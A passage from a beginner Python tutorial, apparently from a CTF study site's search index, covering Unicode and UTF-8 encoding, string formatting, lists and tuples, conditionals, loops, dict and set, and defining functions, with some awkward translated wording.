A new problem arises again: if you unify it into Unicode, the messy code problem disappears from now on. However, if all the text you write is basically in English, Unicode encoding requires twice as much storage space as ASCII encoding, which is very uneconomical in terms of storage and transmission.
Therefore, in the spirit of saving, UTF-8
encoding, which converts Unicode encoding into variable-length encoding
, has emerged. Only very rare characters are encoded as 4-6 bytes. If the text you are transferring contains a large number of English characters, using UTF-8 encoding saves space.
From the table above, you can also find that UTF-8 encoding has the added benefit that ASCII encoding can actually be seen as part of UTF-8 encoding, so a large amount of legacy software that only supports ASCII encoding can continue to work under UTF-8 encoding.
Having figured out the relationship between ASCII, Unicode and UTF-8, we can summarize the way character encoding works in common for computer systems nowadays.
In the computer memory, Unicode encoding is used uniformly, and when it needs to be saved to the hard disk or needs to be transferred, it is converted to UTF-8 encoding.
When editing with Notepad, UTF-8 characters read from a file are converted to Unicode characters in memory, and when editing is complete, Unicode is converted to UTF-8 and saved to the file when saving.
When browsing the web, the server converts the dynamically generated Unicode content to UTF-8 before transferring it to the browser.
So you see a lot of web pages with something like <meta charset=\"UTF-8\" />
on the source code, indicating that the page is encoded exactly in UTF-8.
With the headache of character encoding out of the way, let's look at Python strings.
In the latest version of Python 3, strings are encoded in Unicode, meaning that Python's strings support multiple languages, such as
>>> print('\u5305\u542b\u4e2d\u6587\u7684str')\n\u5305\u542b\u4e2d\u6587\u7684str\n
For the encoding of individual characters, Python provides the ord()
function to obtain an integer representation of the character, and the chr()
function to convert the encoding to the corresponding character:
>>> ord('A')\n65\n>>> ord('\u4e2d')\n20013\n>>> chr(66)\n'B'\n>>> chr(25991)\n'\u6587'\n
If you know the integer encoding of the characters, you can also write str
in hexadecimal like this.
>>> '\\u4e2d\\u6587'\n'\u4e2d\u6587'\n
The two ways of writing are exactly equivalent.
Since Python's string type is str
, represented in memory as Unicode, a character corresponds to a number of bytes. If you want to transfer it over the network or save it to disk, you need to change str
to bytes
in bytes.
Python represents data of type bytes
in single or double quotes prefixed with b
as follows.
x = b'ABC'\n
Be careful to distinguish between 'ABC'
, which is str
, and b'ABC'
, which occupies only one byte for each character of bytes
, although the content is displayed the same as the former.
The str
in Unicode can be encoded to the specified bytes
by the encode()
method, e.g.
>>> 'ABC'.encode('ascii')\nb'ABC'\n>>> '\u4e2d\u6587'.encode('utf-8')\nb'\\xe4\\xb8\\xad\\xe6\\x96\\x87'\n>>> '\u4e2d\u6587'.encode('ascii')\nTraceback (most recent call last):\n File \"<stdin>\", line 1, in <module>\nUnicodeEncodeError: 'ascii' codec can't encode characters in position 0-1: ordinal not in range(128)\n
Pure English str
can be encoded with ASCII
as bytes
, the content is the same, and str
containing Chinese can be encoded with UTF-8
as bytes
. The str
containing Chinese cannot be encoded with ASCII
because the Chinese encoding range exceeds the range of ASCII
encoding, Python will report an error.
In bytes
, bytes that cannot be displayed as ASCII characters are displayed with \\x##
.
Conversely, if we read a stream of bytes from the network or from a disk, the data read is bytes
. To change bytes
to str
, the decode()
method is used.
>>> b'ABC'.decode('ascii')\n'ABC'\n>>> b'\\xe4\\xb8\\xad\\xe6\\x96\\x87'.decode('utf-8')\n'\u4e2d\u6587'\n
If bytes
contains bytes that cannot be decoded, the decode()
method will report an error.
>>> b'\\xe4\\xb8\\xad\\xff'.decode('utf-8')\nTraceback (most recent call last):\n ...\nUnicodeDecodeError: 'utf-8' codec can't decode byte 0xff in position 3: invalid start byte\n
If there are only a small number of invalid bytes in bytes
, you can pass errors='ignore'
to ignore the erroneous bytes.
>>> b'\\xe4\\xb8\\xad\\xff'.decode('utf-8', errors='ignore')\n'\u4e2d'\n
To calculate how many characters str
contains, you can use the len()
function.
>>> len('ABC')\n3\n>>> len('\u4e2d\u6587')\n2\n
The len()
function counts the number of characters in str
, if replaced with bytes
, the len()
function counts the number of bytes.
>>> len(b'ABC')\n3\n>>> len(b'\\xe4\\xb8\\xad\\xe6\\x96\\x87')\n6\n>>> len('\u4e2d\u6587'.encode('utf-8'))\n6\n
As you can see, 1 Chinese character will usually occupy 3 bytes after UTF-8 encoding, while 1 English character will occupy only 1 byte.
When manipulating strings, we often encounter the interconversion of str
and bytes
. To avoid garbling problems, you should always use UTF-8 encoding for str
and bytes
conversions.
Since Python source code is also a text file, when your source code contains Chinese, be sure to specify saving as UTF-8 when you save the source code. When the Python interpreter reads the source code, in order for it to read it in UTF-8, we usually write these two lines at the beginning of the file.
#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n
the first line comment is to tell the Linux/OS X system that this is a Python executable and that Windows systems will ignore the comment.
The second comment line is to tell the Python interpreter to read the source code in UTF-8 encoding, otherwise, the Chinese output you write in the source code may be garbled.
Asserting UTF-8 encoding does not mean that your .py
file is UTF-8 encoded; you must and do make sure that the text editor is using UTF-8 without BOM encoding.
If the .py
file itself uses UTF-8 encoding and also declares # -*- coding: utf-8 -*-
, opening a command prompt to test will display Chinese properly.
The last common problem is how to output a formatted string. We often output something like 'Hello dear xxx! Your phone bill for month xx is xx and your balance is xx'
and strings like that, and the contents of xxx are changing based on variables, so an easy way to format strings is needed.
In Python, the formatting used is the same as in C, implemented with %
, as an example.
>>> 'Hello, %s' % 'world'\n'Hello, world'\n>>> 'Hi, %s, you have $%d.' % ('Michael', 1000000)\n'Hi, Michael, you have $1000000.'\n
As you may have guessed, the %
operator is used to format strings. Inside a string, %s
means replace with a string, %d
means replace with an integer, and there are several %?
placeholder, followed by several variables or values, the order should correspond well. If there is only one %?
, the parentheses can be omitted.
Common placeholders are.
Placeholders Replacement Content %d Integer %f Float %s String %x Hex IntegerAmong other things, formatting integers and floating-point numbers also allows you to specify whether to complement zeros and the number of integer and fractional digits.
# -*- coding: utf-8 -*-\nprint('%2d-%02d' % (3, 1))\nprint('%.2f' % 3.1415926)\n
If you're not quite sure what to use, %s
always works, and it will convert any data type to a string: the
>>> 'Age: %s. Gender: %s' % (25, True)\n'Age: 25. Gender: True'\n
There are times when the %
inside a string is a normal character. This time it is necessary to escape it and use %%
to represent a %
.
>>> 'growth rate: %d %%' % 7\n'growth rate: 7 %'\n
"},{"location":"CTF/Python_2/#format","title":"format()","text":"Another way to format a string is to use the string's format()
method, which will replace the placeholders {0}
, {1}
...... within the string in order with the passed arguments, although this is much more cumbersome to write than %:.
>>> 'Hello, {0}, \u6210\u7ee9\u63d0\u5347\u4e86 {1:.1f}%'.format('\u5c0f\u660e', 17.125)\n'Hello, \u5c0f\u660e, \u6210\u7ee9\u63d0\u5347\u4e86 17.1%'\n
"},{"location":"CTF/Python_2/#f-string","title":"f-string","text":"The last way to format strings is to use strings starting with f
, called f-string
, which differs from normal strings in that strings that contain {xxx}
are replaced with the corresponding variable:
>>> r = 2.5\n>>> s = 3.14 * r ** 2\n>>> print(f'The area of a circle with radius {r} is {s:.2f}')\nThe area of a circle with radius 2.5 is 19.62\n
In the above code, {r}
is replaced by the value of the variable r
, {s:.2f}
is replaced by the value of the variable s
, and the .2f
after :
specifies the formatting parameter (i.e., two decimal places are retained), so the result of the replacement of {s:.2f}
is 19.62
.
Python 3's strings use Unicode, which directly supports multiple languages.
When str
and bytes
are converted to each other, the encoding needs to be specified. The most common encoding is UTF-8
, and Python certainly supports other encodings, such as encoding Unicode to GB2312
.
>>> '\u4e2d\u6587'.encode('gb2312')\nb'\\xd6\\xd0\\xce\\xc4'\n
However, this approach is purely self-defeating. If you have no special business requirements, please keep in mind to use only UTF-8
encoding.
Formatting strings can be tested easily and quickly with Python's interactive environment.
"},{"location":"CTF/Python_2/#reference-source-code","title":"Reference source code","text":"the_string.py
"},{"location":"CTF/Python_2/#using-lists-and-tuples","title":"Using lists and tuples","text":""},{"location":"CTF/Python_2/#lists","title":"lists","text":"One of Python's built-in data types is a list, an ordered collection of elements that can be added and removed at any time.
For example, listing the names of all the students in a class can be represented by a list.
>>> classmates = ['Michael', 'Bob', 'Tracy']\n>>> classmates\n['Michael', 'Bob', 'Tracy']\n
The variable classmates
is a list, and the number of elements in the list can be obtained using the len()
function.
>>> len(classmates)\n3\n
Use the index to access the element at each position in the list, remembering that the index starts at 0
.
>>> classmates[0]\n'Michael'\n>>> classmates[1]\n'Bob'\n>>> classmates[2]\n'Tracy'\n>>> classmates[3]\nTraceback (most recent call last):\n File \"<stdin>\", line 1, in <module>\nIndexError: list index out of range\n
Python will report an IndexError
error when the index is out of range, so make sure the index doesn't go out of bounds, and remember that the index of the last element is len(classmates) - 1
.
To fetch the last element, in addition to calculating the index position, you can also use -1
for the index and fetch the last element directly at.
>>> classmates[-1]\n'Tracy'\n
And so on, you can obtain the penultimate one, the penultimate one.
>>> classmates[-2]\n'Bob'\n>>> classmates[-3]\n'Michael'\n>>> classmates[-4]\nTraceback (most recent call last):\n File \"<stdin>\", line 1, in <module>\nIndexError: list index out of range\n
Of course, the penultimate one is out of bounds.
A list is a mutable ordered table, so it is possible to append elements to the end of a list.
>>> classmates.append('Adam')\n>>> classmates\n['Michael', 'Bob', 'Tracy', 'Adam']\n
It is also possible to insert an element into a specified position, such as the position with index number 1
.
>>> classmates.insert(1, 'Jack')\n>>> classmates\n['Michael', 'Jack', 'Bob', 'Tracy', 'Adam']\n
To delete the element at the end of a list, use the pop()
method.
>>> classmates.pop()\n'Adam'\n>>> classmates\n['Michael', 'Jack', 'Bob', 'Tracy']\n
To delete the element at the specified position, use the pop(i)
method, where i
is the index position.
>>> classmates.pop(1)\n'Jack'\n>>> classmates\n['Michael', 'Bob', 'Tracy']\n
To replace an element with another element, you can directly assign it to the corresponding index position.
>>> classmates[1] = 'Sarah'\n>>> classmates\n['Michael', 'Sarah', 'Tracy']\n
The data types of the elements inside the list can also be different, e.g.
>>> L = ['Apple', 123, True]\n
A list element can also be another list, e.g.
>>> s = ['python', 'java', ['asp', 'php'], 'scheme']\n>>> len(s)\n4\n
Note that s
has only 4 elements, where s[2]
is again a list, which is easier to understand if you split it up.
>>> p = ['asp', 'php']\n>>> s = ['python', 'java', p, 'scheme']\n
To get 'php'
you can write p[1]
or s[2][1]
, so s
can be seen as a two-dimensional array, similarly there are three-dimensional and four-dimensional ...... arrays, but they are rarely used.
If a list contains not a single element, it is an empty list, which has length 0.
>>> L = []\n>>> len(L)\n0\n
"},{"location":"CTF/Python_2/#tuple","title":"tuple","text":"Another kind of ordered list is called a tuple: tuples. tuples are very similar to lists, but tuples cannot be modified once they are initialized, for example, they also list the names of classmates.
>>> classmates = ('Michael', 'Bob', 'Tracy')\n
Now, the tuples classmates cannot be changed, and it has no methods like append(), insert(). You can use classmates[0]
, classmates[-1]
as normal, but you cannot assign to another element.
What is the point of immutable tuples? Because tuples are immutable, the code is safer. If possible, try to use a tuple instead of a list.
The tuple trap: When you define a tuple, the elements of the tuple must be identified at the time of definition, e.g.
>>> t = (1, 2)\n>>> t\n(1, 2)\n
To define an empty tuples, you can write ()
as follows:
>>> t = ()\n>>> t\n()\n
However, to define a tuples with only 1 element, if you define it like this.
>>> t = (1)\n>>> t\n1\n
It's not the tuple that is defined, it's the number 1
! This is because the parentheses ()
can represent both tuple and parentheses in a mathematical formula, which creates ambiguity, so Python specifies that in this case, the calculation is done by parentheses, and the result is naturally 1
.
Therefore, tuples with only 1 element must be defined with a comma ,
to disambiguate.
>>> t = (1,)\n>>> t\n(1,)\n
Python also adds a comma ,
when displaying tuples with only 1 element, so that you don't misinterpret them as parentheses in the mathematical sense.
Finally, look at a \"mutable\" tuples.
>>> t = ('a', 'b', ['A', 'B'])\n>>> t[2][0] = 'X'\n>>> t[2][1] = 'Y'\n>>> t\n('a', 'b', ['X', 'Y'])\n
This tuple is defined with 3 elements, 'a'
, 'b'
and a list. How come it changed later?
Don't worry, let's first look at the definition of the tuples contain three elements: a'',
b'' and a list.
When we modify the elements 'A'
and 'B'
of the list to 'X'
and 'Y'
, the tuples become:
On the surface, the elements of the tuples do change, but in fact, it is not the elements of the tuples that change, but the elements of the lists. tuples do not change the lists they point to in the beginning to other lists, so the so-called \"unchanging\" of tuples means that each element of the tuples points to the same list forever. The tuple's so-called \"invariant\" means that each element of the tuple points to the same element forever. That is, if you point to 'a'', you cannot change it to point to
'b'', and if you point to a list, you cannot change it to point to another object, but the list itself is mutable!
After understanding the \"pointing to the same\", how to create a tuple whose content also remains the same? Then we must ensure that each element of the tuple itself can not change.
"},{"location":"CTF/Python_2/#summary_3","title":"Summary","text":"lists and tuples are Python's built-in ordered collections, one mutable and one immutable. Choose to use them as needed.
"},{"location":"CTF/Python_2/#reference-source-code_1","title":"Reference source code","text":"the_list.py
the_tuple.py
"},{"location":"CTF/Python_2/#conditional-judgment","title":"Conditional Judgment","text":""},{"location":"CTF/Python_2/#conditional-judgment_1","title":"Conditional Judgment","text":"The computer can do many automated tasks because it can make its own conditional judgments.
For example, entering the user's age and printing different things depending on the age is implemented in a Python program with the if
statement.
age = 20\nif age >= 18:\n print('your age is', age)\n print('adult')\n
According to Python's indentation rules, if the if
statement is judged to be True
, the two lines of the indented print statement are executed, otherwise, nothing is done.
You can also add an else
statement to if
, meaning that if if
is judged to be False
, don't execute the if
content and go ahead and execute the else
.
age = 3\nif age >= 18:\n print('your age is', age)\n print('adult')\nelse:\n print('your age is', age)\n print('teenager')\n
Be careful not to underwrite the colon :
.
Of course the above judgement is very rough, it is perfectly possible to make a more detailed judgement with elif
:
age = 3\nif age >= 18:\n print('adult')\nelif age >= 6:\n print('teenager')\nelse:\n print('kid')\n
elif
is short for else if
, and it is perfectly possible to have more than one elif
, so the full form of the if
statement is:
if <\u6761\u4ef6\u5224\u65ad1>:\n <\u6267\u884c1>\nelif <\u6761\u4ef6\u5224\u65ad2>:\n <\u6267\u884c2>\nelif <\u6761\u4ef6\u5224\u65ad3>:\n <\u6267\u884c3>\nelse:\n <\u6267\u884c4>\n
The execution of the if
statement has a feature that it judges from top to bottom. If True
is made on a certain judgment, after executing the statement corresponding to that judgment, the remaining elif
and else
are ignored. So, please test and explain why the following program prints teenager
.
age = 20\nif age >= 6:\n print('teenager')\nelif age >= 18:\n print('adult')\nelse:\n print('kid')\n
The if
judgment condition can also be abbreviated, for example by writing.
if x:\n print('True')\n
As long as x
is a non-zero value, a non-empty string, a non-empty list, etc., it is judged to be True
, otherwise it is False
.
Finally, let's look at a problematic conditional judgment. Many students will use input()
to read the user's input, so that they can enter it themselves and the program runs more interestingly: input()
.
birth = input('birth: ')\nif birth < 2000:\n print('00\u524d')\nelse:\n print('00\u540e')\n
Entering 1982
resulted in the following error.
Traceback (most recent call last):\n File \"<stdin>\", line 1, in <module>\nTypeError: unorderable types: str() > int()\n
This is because the data type returned by input()
is str
, which cannot be compared directly with an integer and must first be converted from str
to an integer. Python provides the int()
function to do this.
s = input('birth: ')\nbirth = int(s)\nif birth < 2000:\n print('00\u524d')\nelse:\n print('00\u540e')\n
Run it again and you will get the correct result. But what if you type abc
? Again, you will get an error message.
Traceback (most recent call last):\n File \"<stdin>\", line 1, in <module>\nValueError: invalid literal for int() with base 10: 'abc'\n
It turns out that the int()
function reports an error when it finds a string that is not a legal number, and the program exits.
How do you check for and catch program runtime errors? We'll talk about errors and debugging later.
"},{"location":"CTF/Python_2/#summary_4","title":"Summary","text":"Conditional judgments allow the computer to make its own choices, Python's if... .elif... ...else is very flexible.
Conditional judgments match from the top down, executing the corresponding block when the condition is met, and subsequent elifs and else's are no longer executed.
"},{"location":"CTF/Python_2/#reference-source-code_2","title":"Reference source code","text":"do_if.py
"},{"location":"CTF/Python_2/#loop","title":"Loop","text":""},{"location":"CTF/Python_2/#loop_1","title":"Loop","text":"To calculate 1+2+3, we can simply write the expression.
>>> 1 + 2 + 3\n6\n
To calculate 1+2+3+... +10, you can barely write it.
However, to calculate 1+2+3+... +10,000, it's impossible to write the expression directly.
In order for the computer to compute thousands of iterations, we need loop statements.
Python has two kinds of loops, a for... .in loops that iterate through each element of a list or tuple in turn, see the example.
names = ['Michael', 'Bob', 'Tracy']\nfor name in names:\n print(name)\n
Executing this code will print each element of names
in turn.
Michael\nBob\nTracy\n
So the for x in ...
loop is a statement that substitutes each element into the variable x
and then executes the indented block.
Another example is if we want to calculate the sum of integers from 1 to 10, we can use a sum
variable to do the accumulation.
sum = 0\nfor x in [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]:\n sum = sum + x\nprint(sum)\n
If you want to calculate the sum of integers from 1 to 100, it is a bit difficult to write from 1 to 100. Fortunately, Python provides a range()
function that can generate a sequence of integers, which can be converted to a list by the list()
function. for example, the sequence generated by range(5)
is a sequence of integers less than 5 starting from 0.
>>> list(range(5))\n[0, 1, 2, 3, 4]\n
range(101)
will generate a sequence of integers from 0-100, calculated as follows.
# -*- coding: utf-8 -*-\nsum = 0\nfor x in range(101):\n sum = sum + x\nprint(sum)\n
Please run the above code yourself to see if the result is the 5050 that Gauss students mentally calculated back then.
The second type of loop is the while loop, which keeps looping as long as the conditions are met, and exits the loop when the conditions are not met. For example, if we want to calculate the sum of all odd numbers within 100, we can use a while loop to do the following.
sum = 0\nn = 99\nwhile n > 0:\n sum = sum + n\n n = n - 2\nprint(sum)\n
Inside the loop, the variable n
keeps decreasing itself until it becomes -1
, when the while condition is no longer met and the loop exits.
In a loop, the break
statement can exit the loop early. For example, to have looped to print the numbers 1 to 100.
n = 1\nwhile n <= 100:\n print(n)\n n = n + 1\nprint('END')\n
The code above prints out 1 to 100.
To end the loop early, you can use the break
statement.
n = 1\nwhile n <= 100:\n if n > 10: # When n = 11, the condition is met and the break statement is executed\n break # The break statement will end the current loop\n print(n)\n n = n + 1\nprint('END')\n
As you can see from the above code, after printing out 1~10, END
is printed immediately afterwards and the program ends.
It can be seen that the function of break
is to end the loop early.
During the loop, you can also skip the current loop and start the next one directly with the continue
statement.
n = 0\nwhile n < 10:\n n = n + 1\n print(n)\n
The above program prints 1 to 10. However, if we want to print only odd numbers, we can skip certain loops with the continue
statement.
n = 0\nwhile n < 10:\n n = n + 1\n if n % 2 == 0: # If n is an even number, execute the continue statement\n continue # The continue statement will continue directly to the next loop, and the subsequent print() statement will not be executed\n print(n)\n
Executing the above code, you can see that it no longer prints 1 to 10, but 1, 3, 5, 7, and 9.
You can see that the purpose of continue
is to end the current loop early and start the next one directly.
Loops are an effective way to get the computer to do repetitive tasks.
The break
statement can exit the loop directly during the loop, while the continue
statement can end the current round of loops early and start the next round directly. Both of these statements usually must be used in conjunction with the if
statement.
Be especially careful not to abuse the break
and continue
statements. break
and continue
can cause the code execution logic to bifurcate too much and be prone to errors. Most loops do not require the use of break
and continue
statements, and both of the above examples can be done by rewriting the loop condition or modifying the loop logic to remove the break
and continue
statements.
In some cases, if the code is written in a problematic way, the program will fall into a \"dead loop\", that is, a loop that goes on forever. In this case, you can use Ctrl+C
to exit the program or force the Python process to end.
Please try to write a dead loop program.
"},{"location":"CTF/Python_2/#reference-source-code_3","title":"Reference source code","text":"do_for.py
do_while.py
"},{"location":"CTF/Python_2/#using-dict-and-set","title":"Using dict and set","text":""},{"location":"CTF/Python_2/#dict","title":"dict","text":"Python has built-in support for dictionaries: dict, also known as dictionary or map in other languages, uses key-value storage and is extremely fast to find.
For example, suppose you want to find the corresponding grades based on the names of your classmates, and if you implement it with lists, you need two lists.
names = ['Michael', 'Bob', 'Tracy']\nscores = [95, 75, 85]\n
Given a name, to find the corresponding score, you have to find the corresponding position in names and then take out the corresponding score from scores, the longer the list, the longer it takes.
If we use a dict, we only need a \"name\" - \"score\" comparison table, and we can find the scores according to the names directly, no matter how big the table is, the search speed will not be slow. Write a dict in Python as follows.
>>> d = {'Michael': 95, 'Bob': 75, 'Tracy': 85}\n>>> d['Michael']\n95\n
Why is dict lookup so fast? Because the principle of dict implementation is the same as looking up a dictionary. Suppose the dictionary contains 10,000 Chinese characters, and we want to look up a certain word, one way is to turn the dictionary backward from the first page until we find the word we want, this method is the method of finding elements in the list, the larger the list is, the slower the search is.
The second way is to look up the page number corresponding to the word in the index table of the dictionary (e.g., the part number table), and then turn directly to that page and find the word. No matter which word you are looking for, this search is very fast and does not slow down as the size of the dictionary increases.
Given a name, such as 'Michael'
, dict can internally calculate the \"page number\" of Michael
, which is the memory address where the number 95
is stored, and take it out directly, so it is very fast.
As you can guess, this key-value storage method, when you put it in, you must calculate the storage location of the value according to the key, so that when you take it, you can get the value directly according to the key.
The method of putting data into dict, in addition to the initialization specified, can also be put in by key.
>>> d['Adam'] = 67\n>>> d['Adam']\n67\n
Since a key can only correspond to a value, putting a value to a key multiple times will flush out the previous value.
>>> d['Jack'] = 90\n>>> d['Jack']\n90\n>>> d['Jack'] = 88\n>>> d['Jack']\n88\n
If the key does not exist, dict will report an error.
>>> d['Thomas']\nTraceback (most recent call last):\n File \"<stdin>\", line 1, in <module>\nKeyError: 'Thomas'\n
To avoid the error that the key does not exist, there are two ways, one is to determine whether the key exists by in
.
>>> 'Thomas' in d\nFalse\n
The second is through the get()
method provided by dict, which can return None
if the key does not exist, or the value specified by itself.
>>> d.get('Thomas')\n>>> d.get('Thomas', -1)\n-1\n
Note: Python's interactive environment does not show the result when None
is returned.
To delete a key, use the pop(key)
method, and the corresponding value will also be deleted from the dict.
>>> d.pop('Bob')\n75\n>>> d\n{'Michael': 95, 'Tracy': 85}\n
Be sure to note that the order of storage inside a dict has no relation to the order in which the keys are placed.
Compared with list, dict has the following features.
On the contrary, list has the following features.
So, dict is a way to trade space for time.
dict can be used in many places where high-speed lookup is needed, and it is almost ubiquitous in Python code. It is very important to use dict correctly, and the first thing to keep in mind is that the key of dict must be immutable object.
This is because dict calculates the storage location of value based on key, and if each time the same key is calculated the result is different, then the dict is completely confused internally. This algorithm for calculating the location by key is called a hash algorithm (Hash).
To ensure the correctness of the hash, the object that is the key cannot change. In Python, strings, integers, etc. are immutable and can therefore be safely used as keys, whereas lists are mutable and cannot be used as keys.
>>> key = [1, 2, 3]\n>>> d[key] = 'a list'\nTraceback (most recent call last):\n File \"<stdin>\", line 1, in <module>\nTypeError: unhashable type: 'list'\n
"},{"location":"CTF/Python_2/#set","title":"set","text":"A set is similar to a dict in that it is also a set of keys, but does not store values. since keys cannot be duplicated, there are no duplicate keys in a set.
To create a set, a list is provided as the input set.
>>> s = set([1, 2, 3])\n>>> s\n{1, 2, 3}\n
Note that the passed parameter [1, 2, 3]
is a list, and the displayed {1, 2, 3}
just tells you that there are 3 elements inside this set, 1, 2, 3, and the displayed order does not indicate that the set is ordered.
Duplicate elements are automatically filtered in the set.
>>> s = set([1, 1, 2, 2, 3, 3])\n>>> s\n{1, 2, 3}\n
Elements can be added to the set by the add(key)
method, which can be repeated, but will not have the effect of.
>>> s.add(4)\n>>> s\n{1, 2, 3, 4}\n>>> s.add(4)\n>>> s\n{1, 2, 3, 4}\n
Elements can be removed by the remove(key)
method.
>>> s.remove(4)\n>>> s\n{1, 2, 3}\n
set can be seen as a mathematically unordered and non-repetitive set of elements, so that two sets can be intersected, merged, etc. in the mathematical sense.
>>> s1 = set([1, 2, 3])\n>>> s2 = set([2, 3, 4])\n>>> s1 & s2\n{2, 3}\n>>> s1 | s2\n{1, 2, 3, 4}\n
The only difference between set and dict is that there is no corresponding value stored, but the principle of set is the same as dict, so it is also not possible to put mutable objects into it, because there is no way to determine whether two mutable objects are equal, and there is no guarantee that there will be \"no duplicate elements\" inside the set. Try putting a list into set and see if you get an error.
"},{"location":"CTF/Python_2/#re-discuss-immutable-objects","title":"Re-discuss immutable objects","text":"As we said above, str is an immutable object, while list is a mutable object.
For mutable objects, such as list, the contents of list will change if list is manipulated, for example.
>>> a = ['c', 'b', 'a']\n>>> a.sort()\n>>> a\n['a', 'b', 'c']\n
And for immutable objects, such as str, what about operations on str.
>>> a = 'abc'\n>>> a.replace('a', 'A')\n'Abc'\n>>> a\n'abc'\n
Although the string has a replace()
method, and it does turn out to be 'Abc'
, the variable a
still ends up being 'abc'
, so how should we understand it?
Let's change the code to the following.
>>> a = 'abc'\n>>> b = a.replace('a', 'A')\n>>> b\n'Abc'\n>>> a\n'abc'\n
The thing to always keep in mind is that a
is the variable, and 'abc'
is the string object! There are times when we often say that the content of the object a
is 'abc'
, but what we really mean is that a
itself is a variable, and it is the content of the object it points to that is 'abc'
.
\u250c\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 a \u2502\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500>\u2502 'abc' \u2502\n\u2514\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n
When we call a.replace('a', 'A')
, the call to method replace
actually acts on the string object 'abc'
, and the method, despite its name replace
, does not change the content of the string 'abc'
. Instead, the replace
method creates a new string 'Abc'
and returns it, and if we use the variable b
to point to that new string, it is easy to understand that the variable a
still points to the original string 'abc'
, but the variable b
points to the new string 'Abc'
.
\u250c\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 a \u2502\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500>\u2502 'abc' \u2502\n\u2514\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\u250c\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 b \u2502\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500>\u2502 'Abc' \u2502\n\u2514\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n
So, for immutable objects, calling any method on the object itself will not change the content of the object itself. Instead, these methods create new objects and return them, thus ensuring that the immutable object itself is always immutable.
"},{"location":"CTF/Python_2/#summary_6","title":"Summary","text":"Using a key-value storage structure for dict is very useful in Python. It is important to choose immutable objects as keys, and the most common key is a string.
While tuple is an immutable object, try putting (1, 2, 3)
and (1, [2, 3])
into a dict or set and interpret the results.
the_dict.py
the_set.py
"},{"location":"CTF/Python_3/","title":"Python Programming Quick Guide - Functions","text":"https://www.liaoxuefeng.com/wiki/1016959663602400/1017063413904832
https://docs.python.org/3/tutorial/index.html
"},{"location":"CTF/Python_3/#function","title":"Function","text":"We know that the formula for calculating the area of a circle is
S = \u03c0r^2
When we know the value of radius r
, we can calculate the area according to the formula. Suppose we need to calculate the area of 3 circles of different sizes.
r1 = 12.34\nr2 = 9.08\nr3 = 73.1\ns1 = 3.14 * r1 * r1\ns2 = 3.14 * r2 * r2\ns3 = 3.14 * r3 * r3\n
When there is a regular repetition of the code, you need to beware that writing 3.14 * x * x
each time is not only troublesome, but, if you want to change 3.14
to 3.14159265359
, you have to replace it all.
With functions, instead of writing s = 3.14 * x * x
every time, we write the more meaningful function call s = area_of_circle(x)
, and the function area_of_circle
itself only needs to be written once, so it can be called multiple times.
Basically all high-level languages support functions, and Python is no exception. not only can Python be very flexible in defining functions, but it has many useful functions built in itself that can be called directly.
"},{"location":"CTF/Python_3/#abstraction","title":"Abstraction","text":"Abstraction is a very common concept in mathematics. As an example.
Calculating the sum of a series, e.g., 1 + 2 + 3 + ... + 100
, is very inconvenient to write, so mathematicians invented the summation symbol \u2211, which can be written as 1 + 2 + 3 + ... + 100
is written as.
This abstract notation is very powerful because we see that \u2211 can be understood as a summation, rather than reducing to a low-level addition operation.
Moreover, this abstract notation is scalable, e.g.
Reduced to addition it becomes.
(1 x 1 + 1) + (2 x 2 + 1) + (3 x 3 + 1) + ... + (100 x 100 + 1)
As you can see, abstraction allows us to think directly at a higher level, without caring about the underlying concrete computational process.
Writing computer programs is the same, and functions are one of the most basic ways of abstracting code.
"},{"location":"CTF/Python_3/#calling-functions","title":"Calling functions","text":"Python has a lot of useful functions built in that we can call directly.
To call a function, you need to know the name of the function and its arguments, for example, the function abs
that finds the absolute value has only one argument. The documentation can be viewed directly from Python's official website at
http://docs.python.org/3/library/functions.html#abs
You can also view the help information for the abs
function at the interactive command line via help(abs)
.
To invoke the abs
function.
>>> abs(100)\n100\n>>> abs(-20)\n20\n>>> abs(12.34)\n12.34\n
Calling a function with the wrong number of arguments passed in will report a TypeError
error, and Python will tell you explicitly that abs()
has and only has 1 argument, but gives two.
>>> abs(1, 2)\nTraceback (most recent call last):\n File \"<stdin>\", line 1, in <module>\nTypeError: abs() takes exactly one argument (2 given)\n
If the number of arguments passed in is correct, but the argument type is not accepted by the function, a TypeError
error is also reported and the error message is given: str
is the wrong argument type.
>>> abs('a')\nTraceback (most recent call last):\n File \"<stdin>\", line 1, in <module>\nTypeError: bad operand type for abs(): 'str'\n
And the max
function max()
can take any number of arguments and return the largest one.
>>> max(1, 2)\n2\n>>> max(2, 3, 1, -5)\n3\n
"},{"location":"CTF/Python_3/#data-type-conversions","title":"Data type conversions","text":"Python's built-in common functions also include data type conversion functions, such as the int()
function that converts other data types to integers:
>>> int('123')\n123\n>>> int(12.34)\n12\n>>> float('12.34')\n12.34\n>>> str(1.23)\n'1.23'\n>>> str(100)\n'100'\n>>> bool(1)\nTrue\n>>> bool('')\nFalse\n
A function name is actually a reference to a function object, and it is possible to assign the function name to a variable, which is equivalent to giving the function an \"alias\".
>>> a = abs # Variable a points to the abs function\n>>> a(-1) # So you can also call the abs function from a\n1\n
"},{"location":"CTF/Python_3/#define-function","title":"Define function","text":"In Python, to define a function you use the def
statement, write the function name, the parentheses, the arguments in the parentheses, and the colon :
in that order, then, write the function body in an indented block, and the return value of the function is returned with the return
statement.
Let's take a custom my_abs
function for absolute values as an example.
# -*- coding: utf-8 -*-\ndef my_abs(x):\n if x >= 0:\n return x\n else:\n return -x\n\nprint(my_abs(-99))\n
Please test it yourself and call my_abs
to see if the returned result is correct.
